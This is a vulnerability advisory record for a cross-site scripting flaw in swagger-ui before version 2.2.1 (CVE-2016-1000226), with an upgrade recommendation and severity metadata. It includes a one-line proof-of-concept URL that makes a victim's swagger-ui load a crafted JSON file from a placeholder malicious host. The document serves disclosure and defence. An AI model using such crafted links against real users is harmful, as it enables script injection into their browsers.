GHSA-7f59-x49p-v8mq

Suggest an improvement
Source
https://github.com/advisories/GHSA-7f59-x49p-v8mq
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2020/09/GHSA-7f59-x49p-v8mq/GHSA-7f59-x49p-v8mq.json
JSON Data
https://api.osv.dev/v1/vulns/GHSA-7f59-x49p-v8mq
Aliases
  • CVE-2016-1000226
Published
2020-09-01T15:28:45Z
Modified
2023-11-08T03:58:07Z
Summary
Cross-Site Scripting in swagger-ui
Details

Affected versions of swagger-ui are vulnerable to cross-site scripting in both the consumes and produces parameters of the swagger JSON document for a given API.

Additionally, swagger-ui allows users to load arbitrary swagger JSON documents via the query string parameter url, allowing an attacker to exploit this attack against any user that the attacker can convince to visit a crafted link.

Proof of Concept

http://<USER_HOSTNAME>/swagger-ui/index.html?url=http://<MALICIOUS_HOSTNAME>/malicious-swagger-file.json

Recommendation

Update to version 2.2.1 or later.

Database specific
{
    "cwe_ids":  [
        "CWE-79"
    ],
    "github_reviewed":  true,
    "github_reviewed_at":  "2020-08-31T18:11:35Z",
    "nvd_published_at":  null,
    "severity":  "CRITICAL"
}
References

Affected packages

npm / swagger-ui

Package

Affected ranges

Type
SEMVER
Events
Introduced
0 Unknown introduced version / All previous versions are affected
Fixed
2.2.1

Database specific

source
"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2020/09/GHSA-7f59-x49p-v8mq/GHSA-7f59-x49p-v8mq.json"